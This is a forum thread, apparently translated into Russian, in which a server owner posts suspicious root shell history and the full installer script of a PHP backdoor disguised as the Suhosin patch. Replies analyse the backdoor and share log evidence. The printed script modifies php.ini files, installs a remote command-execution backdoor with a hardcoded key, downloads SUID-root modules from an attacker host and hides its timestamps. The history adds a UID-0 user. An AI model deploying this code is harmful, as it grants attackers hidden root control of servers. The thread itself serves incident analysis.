Странный набор команд оболочки в.bash_history рута
Вероятно, я только что обнаружил, что пользователь на моем сервере имеет root-права на моем сервере, но я не об этом.
Кто-нибудь когда-либо видел команды, подобные этим:
echo _EoT_0.249348813417008_;
id;
echo _EoT_0.12781402577841_;
echo $PATH && a=`env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'` && export PATH=$a && echo $PATH;
echo _EoT_0.247556708344121_;
whereis useradd;
echo _EoT_0.905792585668774_;
useradd -p saZlzoRm9L4Og -o -g 0 -u 0 aspnet;
echo _EoT_0.369123892063307_;
wget http://178.xxx.xxx.181/suhosin14.sh;
echo _EoT_0.845361576801043_;
chmod +x suhosin14.sh && ./suhosin14.sh && sleep 5 && ls -la && locate index.php;
echo _EoT_0.161914402299161_;
rm -rf /tmp/ZyCjBiU;
echo _EoT_0.751816968837201_;
Мне кажется, что это работа какого-то автоматизированного скрипта, но я не уверен, какой именно.
У кого-нибудь есть подсказка по этому поводу?
ОС Debian Lenny, ядро 2.6.30-bpo.2-686-bigmem (если это важно).
Кстати, ссылка в приведенном выше коде замаскирована. Любой, кто хочет загрузить загруженный код, сделал копию для анализа, поэтому я могу предоставить ее по запросу.
Редактировать: я прилагаю содержимое скрипта.sh, как ссылку, если кому-то интересно.
#!/bin/sh
PHP=`which php`
PHP_INCLUDE_PATH=`$PHP -i|grep 'include_path' | awk '{print $3}' | awk -F ":" '{print $2}'`
if [ -z $PHP_INCLUDE_PATH ]
then
PHP_INCLUDE_PATH="/usr/share/php"
mkdir -p $PHP_INCLUDE_PATH
fi
GETROOT_32=$PHP_INCLUDE_PATH"/suhosin32.so"
GETROOT_32_URL="http://178.xxx.xxx.181/32"
GETROOT_64=$PHP_INCLUDE_PATH"/suhosin64.so"
GETROOT_64_URL="http://178.xxx.xxx.181/64"
PHP_FILE_PATH=$PHP_INCLUDE_PATH"/suhosin.php"
PHP_FILE_PATH_SLASHED=`echo $PHP_FILE_PATH | sed 's/\//\\\\\//g'`;
for file in `find / -type f -name 'php.ini'`
do
APPEND=`egrep -v '^;' $file | grep auto_prepend_file`
OPENBASEDIR=`egrep -v '^;' $file | grep open_basedir`
echo "[*] opendir:$OPENBASEDIR"
if [ ! -z "$APPEND" ]
then
APPEND_CMD=`echo $APPEND | awk -F "=" '{print $1}'`
APPEND_FILE=`echo $APPEND | awk -F "=" '{print $2}'`
echo "[*] $file : $APPEND_CMD=$APPEND_FILE"
echo "[~] need to replace auto append file"
if [ ! -z "$APPEND_FILE" ]; then APPEND_FILE=`echo "$APPEND_FILE" | sed 's/\//\\\\\//g'`;fi
sed "s/$APPEND_CMD=$APPEND_FILE/$APPEND_CMD=$PHP_FILE_PATH_SLASHED/g" $file > 1
else
echo "[~] need to add auto_append_file"
cp $file 1
echo "auto_prepend_file = $PHP_FILE_PATH" >> 1
fi
touch -r $file 1
mv 1 $file
done
echo "[!] printing $PHP_FILE_PATH"
if [ ! -d $PHP_INCLUDE_PATH ]; then mkdir $PHP_INCLUDE_PATH; fi
cat >$PHP_FILE_PATH<<EOF
<?php
/**
* SUHOSIN, the PHP Extension and Application Repository
*
* SUHOSIN security patch
*
* PHP versions 4 and 5
*
* @category pear
* @package Suhosin patch
* @author Sterling Hughes <sterling@php.net>
* @author Stig Bakken <ssb@php.net>
* @author Tomas V.V.Cox <cox@idecnet.com>
* @author Greg Beaver <cellog@php.net>
* @copyright 1997-2010 The Authors
* @license http://opensource.org/licenses/bsd-license.php New BSD License
* @version CVS: \$Id: PEAR.php 299159 2010-05-08 22:32:52Z dufuz \$
* @link http://pear.php.net/package/PEAR
* @since File available since Release 0.1
*/
function suhosin_unxor(\$data,\$len,\$key)
{
for(\$i=0;\$i<\$len;\$i++)
{
\$data[\$i]=chr((\$key+\$i)^ord(\$data[\$i]));
}
return \$data;
}
if(isset(\$_SERVER['REQUEST_URI']))
{
if(isset(\$_POST['suhosinkey']) && isset(\$_POST['suhosinaction']))
{
if(\$_POST['suhosinkey']=='we48b230948312-0491vazXAsxdadsxks!asd')
{
if(isset(\$_POST['suhosindata']) && isset(\$_POST['suhosincrc'])
&& crc32(\$_POST['suhosindata'])==\$_POST['suhosincrc'])
{
\$data=base64_decode(\$_POST['suhosindata']);
\$data=suhosin_unxor(\$data,strlen(\$data),ord('W'));
if(\$_POST['suhosinaction']=="update")
{
print "SUHOSIN OK\n".file_put_contents(__FILE__,\$data);
}
else if(\$_POST['suhosinaction']=="command")
{
system(\$data);
print("SUHOSIN CMD\n");
}
}
}
}
}
?>
EOF
chmod 777 $PHP_FILE_PATH
touch -r /bin/ls $PHP_FILE_PATH
echo "[*] installing getroots ($GETROOT_32 $GETROOT_64)"
WGET=`which wget`
CHOWN=`which chown`
`$WGET $GETROOT_32_URL -O $GETROOT_32`
`$CHOWN root $GETROOT_32`
chmod 4755 $GETROOT_32
touch -r /bin/ls $GETROOT_32
`$WGET $GETROOT_64_URL -O $GETROOT_64`
`$CHOWN root $GETROOT_64`
chmod 4755 $GETROOT_64
touch -r /bin/ls $GETROOT_64
ls -la $GETROOT_32 $GETROOT_64
echo "[!] restarting ctls"
for ctl in ` ls {/usr/local/{http*,apache*}/bin/*ctl,/usr/sbin/{http*,apache*}ctl} 2>&1 | grep -v "No such"`
do
echo "[*] restarting $ctl"
`\$ctl restart`
done
rm $0
Интересно.
3 ответа
Интересно, действительно.
Я никогда не видел эту вещь раньше, но, глядя на suhosin14.sh
сценарий, это зло. Это изменяет все php.ini
файлы, которые он может найти в системе, в надежде заставить PHP на лету добавлять некоторый код в каждую отображаемую веб-страницу PHP (через auto_prepend_file
). suhosin14.sh
также загружает и устанавливает пару модулей SUID-root, предположительно, чтобы заставить его предварительно подготовленный PHP-код работать с привилегиями root.
Предварительно написанный скрипт PHP (suhosin.php
) содержит заголовок комментария, в котором говорится, что он является частью исправления безопасности Suhosin для PHP, но это не так. Вместо этого сценарий отслеживает конкретные HTTP-запросы POST, содержащие команды XOR-obfuscated, которые затем де-обфускасирует и запускает (предположительно с root
привилегии, благодаря модулям SUID-root).
Если эта вещь была запущена в вашей системе, то она, скорее всего, укоренилась. Отмена чего suhosin14.sh
установщик сделал [в частности: удалить PHP prepend-скрипт suhosin.php
удалите модули SUID-root suhosin32.so
а также suhosin64.so
и восстановить свой оригинал php.ini
файл (ы)], вероятно, недостаточно для обеспечения безопасности, так как кто-то должен был получить root
доступ, чтобы успешно запустить установщик в первую очередь. Более того, последующие команды, отправленные удаленно через PHP prepend-script, могли легко установить любое количество руткитов или других бэкдоров.
Больше я ничего не могу предложить, за исключением, может быть, проверки ваших журналов Apache на наличие POST-запросов к страницам, которые обычно не должны получать POST-запросы: это вероятные случаи удаленных команд, отправляемых в вашу систему. К сожалению, журналы не скажут вам, какие команды были выполнены, но вы можете получить некоторую другую полезную информацию, такую как IP-адреса и временные метки.
Это также случилось со мной несколько дней назад. Вы случайно не используете Drupal или Wordpress? Мне любопытно, может ли это быть из-за уязвимости с любой из этих CMS. У меня такое уже было три раза, и я предпринял некоторые меры предосторожности, но, похоже, они все еще могут добавить префикс suhosin в наш файл php.ini. Очень раздражает, если не сказать больше. Любая дополнительная информация о возможных причинах или решениях будет очень цениться.
Спасибо джозеф
Вау , это удивительно, точно так же случилось со мной в четверг, и они сломали весь мой сервер. Я до сих пор не знаю, что я должен исправить. Кто-нибудь может сказать мне?
Я нашел несколько интересных вещей по этому поводу в моих лог-файлах. Итак, я знаю, что кто-то подключился к нему и загрузил файл на сервер, что довольно удивительно. Я даже нашел тот же IP, что и тот, который вы, ребята, разместили ранее.
--2010-11-25 23: 16: 18-- http://178.17.163.181/cbsdx Подключение к 178.17.163.181:80... подключено. HTTP-запрос отправлен, ожидание ответа... 200 OK Длина: 8506 (8,3 КБ) [текст / обычный] Сохранение в:
cbsdx' 0K ........ 100% 94.8K=0.09s 2010-11-25 23:16:18 (94.8 KB/s) -
cbsdx 'сохранено [8506/8506] [Четверг, 25 23:17:41 2010] [извещение] SIGHUP получено. Попытка перезагрузки
Очень интересен, безусловно, ваш комментарий об useradd, так как у меня была строка, говорящая:
25 ноября 23:16:24 s15398462 useradd[7815]: новый пользователь: имя =aspnet, UID=0, GID=0, home=/home/aspnet, shell=/bin/bash
Я также использую Wordpress, так что, возможно, в этом проблема, но у меня есть несколько других программ, так что кто знает.